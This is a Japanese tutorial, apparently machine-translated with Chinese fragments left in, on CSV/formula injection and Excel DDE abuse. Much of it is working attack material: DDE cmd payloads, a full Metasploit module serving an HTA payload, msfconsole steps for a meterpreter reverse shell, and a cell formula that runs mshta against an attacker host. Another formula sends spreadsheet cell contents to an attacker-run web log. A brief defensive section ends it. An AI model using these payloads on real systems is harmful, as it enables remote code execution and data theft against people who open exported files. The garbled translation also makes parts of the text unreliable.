脆弱性の紹介
CSVインジェクション(CSVインジェクション)の脆弱性は通常、ファイル(.csv / .xls)をエクスポートする機能を持つWebサイトに発生します。エクスポートされたファイルの内容が制御可能な場合、攻撃者は通常、悪意のあるペイロード(式)を入力フィールドに挿入します。ユーザーがファイルをエクスポートした後、EXCELは独自の動的関数を呼び出して、攻撃者の悪意のあるコードを実行し、ユーザーのコンピューターを制御します。
脆弱性の原則
xlsファイルを作成してセルに入力します。Enter=1+1
キーを押すと、値が2に変更され、プラス記号が操作として実行されていることがわかります。
もちろん、+
数値だけでなく、=、-、@
そのような記号もExcelによって数式に解析されます。
DDE(動的データ交換)
DDEは、Windowsでのプロセス間通信プロトコルであり、動的なデータ交換メカニズムです。DDE通信を使用するには、2つのWindowsアプリケーションが必要です。1つは情報を処理するサーバーとして使用され、もう1つは情報を取得するクライアントとして使用されます。サーバーから。DDEは、Microsoft Excel、LibreOffice、およびApacheOpenOfficeをサポートしています。Excel、Word、Rtf、Outlookはすべて、このメカニズムを使用して、外部アプリケーションの処理結果に基づいてコンテンツを更新できます。したがって、DDE式を含むCSVファイルを作成すると、ファイルを開くと、Excelは外部アプリケーションを実行しようとします。
DDEの呼び出しを文件->选项->信任中心->信任中心设置->外部内容
オンにする必要があり
ます。デフォルトでは、[動的データ交換サーバーの起動を有効にする(非推奨)]をオフにして、DDEが外部アプリケーションを起動しないようにします。Office 2016 MSO(16.0.4266.1001)などの古いバージョンにはこのオプションがないため、外部プログラムの実行を禁止することはできません。
脆弱性のデモンストレーション
セルに入力=1*cmd|' /C calc'!A0
すると、2つのポップアップウィンドウが表示されます。
注意を怠ると是
、頭がおかしくなり、システムコマンドが実行され、電卓がポップアップします。
エクスプロイト
悪意のあるWebサイトにアクセスする(フィッシング)
=HYPERLINK("http://baidu.com","还记得我吗老baby?我想你了!!!")
用户点击链接时,系统会调用浏览器访问这个网站。
これは少し助けになり、被害者は手動でリンクをクリックする必要があります。ただし、この式は警告をトリガーしません。
もちろん、IEブラウザの脆弱性、Flash、その他の脆弱性と協力してシェルを入手することもできます。
リバースシェル
攻撃マシン:カリ
ターゲットマシン:Windows 10
Webページの脆弱性テンプレートを作成しなくても、Excelを直接作成して、ターゲットマシンで実行できます。
kali操作:
次のRubyコードを/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rbディレクトリにコピーします
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {
})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {
} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{
:arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{
url}\"")
end
end
pgデータベースを開きます。
service postgresql start
msfを開始します。
msfconsole
msfconsole操作:
#重置数据库
reload_all
#查询新建msh_shell模块
search msh_shell
#加载 msh_shell模块
use exploit/windows/smb/msh_shell
#设置监听payload,设置ip等
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128
set uripath csv
exploit
新しいExcelテーブルを作成し、次のペイロードをセルに挿入します。
+1+cmd|'/c mshta.exe http://192.168.206.128:8080/csv'!A0
それをwindows10にアップロードしてから開きます。ユーザーが気が狂う是
と、ターゲットマシン
がオンラインになります。MSFはシェルのアクセス許可を取得します。
sessions -l
sessions -i 1
shell
他の細胞情報を盗む
攻撃者はWebログ機能をオンにします。
例としてTomcatログを取り上げ、confの下のserver.xmlファイルを編集し
、次のコンテンツのコメントを解除して、次のコンテンツ
ペイロードをExcelに挿入します。
=HYPERLINK("http://192.168.206.130:8080/"&D2&D3,"Error: Please click me!")
レポートのエクスポート後にユーザーが誤ってセルのコンテンツをクリックすると、D2セルとD3セルのコンテンツがリークされます。
TomcatWebログを表示します。
実際の戦闘の抜け穴は再現します
CVE-2018-10504
CVE-2019-15092
防御策
このタイプの攻撃は軽減するのが難しく、多くのバグ報奨金プログラムから明示的に禁止されています。これを修正するには、次の文字で始まるセルがないことを確認してください。
( "@")の( "=")
プラス記号( "+")
マイナス記号( "-")
に等しい
開発者は、そのような文字を含むセルの先頭にアポストロフィ( ')を追加できます。アポストロフィ( ')を追加すると、セルに数式が含まれていないことがExcelに通知され、MS Excelを表示しているときに、セルの最初の文字として入力したときにアポストロフィ(')は表示されません。
参照リンク
https://www.freebuf.com/vuls/195656.html
https://blog.csdn.net/qq_34304003/article/details/87635582
https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection
https://www.anquanke.com/post/id/84497
http://kuaiyaojinga.com/110057477
https://www.anquanke.com/post/id/89972
https://xz.aliyun.com/t/4124
https://galaxylab.com.cn/formula-injection-%E5%85%AC%E5%BC%8F%E6%B3%A8%E5%85%A5/